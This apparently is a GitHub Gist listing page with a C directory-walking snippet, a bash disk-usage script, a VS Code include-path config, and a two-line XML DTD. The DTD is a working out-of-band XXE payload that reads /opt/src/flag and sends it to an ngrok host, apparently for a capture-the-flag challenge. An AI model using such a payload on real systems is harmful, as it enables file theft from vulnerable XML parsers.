Skip to content

Instantly share code, notes, and snippets.

struct dirent *file;
unsigned long long ans = 0;
while ((file = readdir(d))) {
if (!strcmp(file->d_name, ".") || !strcmp(file->d_name, "..")) {
continue;
}
struct stat buf;
full_name[dir_name_len] = '/';
strcpy(full_name + dir_name_len + 1, file->d_name);
@yurriy
yurriy / 1.sh
Created April 12, 2017 18:08
du alternative
#!/bin/bash
my_du () {
ans=0
for file in $(find $1)
do
if [ -f $file ]
then
sz=$(wc -c $file | { read first rest; echo $first; })
ans=$(expr $ans + $sz)
{
"configurations": [
{
"name": "Mac",
"includePath": [
"${workspaceRoot}",
"/usr/include",
"/usr/local/include"
],
"defines": [],
@yurriy
yurriy / 1.dtd
Last active November 25, 2017 14:14
<!ENTITY % payload SYSTEM "file:///opt/src/flag">
<!ENTITY % p "<!ENTITY xxe SYSTEM 'http://e0825b48.ngrok.io/x=%payload;'>">